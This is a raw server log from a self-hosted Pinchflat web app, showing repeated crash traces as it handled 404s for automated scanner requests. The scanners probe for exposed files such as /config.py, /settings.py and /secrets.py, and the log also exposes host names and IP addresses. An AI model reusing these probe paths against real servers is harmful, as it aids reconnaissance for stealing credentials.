secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50462}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50462}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9660.0>, params: %{}, path_info: ["js", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/js/app.js", resp_body: nil, resp_cookies: %{}, (truncated) 15:21:52.891 [info] GET /js/main.js 15:21:52.891 [debug] QUERY OK source="settings" db=0.3ms idle=964.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:52.891 [debug] QUERY OK source="settings" db=0.1ms idle=964.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:52.891 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:52.892 [error] #PID<0.9662.0> running PinchflatWeb.Endpoint (connection #PID<0.9661.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /js/main.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50468}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9662.0>, params: %{}, path_info: ["js", "main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/js/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBEImb7nMX5kAAcbC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50468}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50468}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9662.0>, params: %{}, path_info: ["js", "main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/js/main.js", resp_body: nil, resp_cookies: (truncated) 15:21:52.978 [info] GET /trace.axd 15:21:52.978 [debug] QUERY OK source="settings" db=0.2ms idle=470.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:52.978 [debug] QUERY OK source="settings" db=0.0ms idle=325.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:52.978 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:52.978 [error] #PID<0.9664.0> running PinchflatWeb.Endpoint (connection #PID<0.9663.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /trace.axd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50484}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9664.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBEdWTeHinTYAAccC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50484}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50484}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9664.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBEdWTeHinTYAAccC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/ro (truncated) 15:21:53.128 [info] GET /settings.py 15:21:53.128 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:21:53.128 [debug] QUERY OK source="settings" db=0.1ms idle=474.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.128 [debug] QUERY OK source="settings" db=0.0ms idle=237.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.128 [debug] QUERY OK source="settings" db=0.0ms idle=236.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.129 [debug] QUERY OK source="settings" db=0.0ms idle=150.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.129 [info] Sent 200 in 1ms 15:21:53.382 [info] GET /config.py 15:21:53.383 [debug] QUERY OK source="settings" db=0.1ms idle=404.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.383 [debug] QUERY OK source="settings" db=0.1ms idle=254.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.383 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:53.383 [error] #PID<0.9668.0> running PinchflatWeb.Endpoint (connection #PID<0.9667.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config.py ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.py", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50512}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9668.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.py", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBF91ikZbyngAAceC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.py", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50512}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.py", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50512}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9668.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.py", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBF91ikZbyngAAceC"} ], scheme: :http, (truncated) 15:21:53.620 [info] GET /secrets.py 15:21:53.621 [debug] QUERY OK source="settings" db=0.2ms idle=491.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.621 [debug] QUERY OK source="settings" db=0.0ms idle=492.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.621 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:53.621 [error] #PID<0.9670.0> running PinchflatWeb.Endpoint (connection #PID<0.9669.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /secrets.py ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 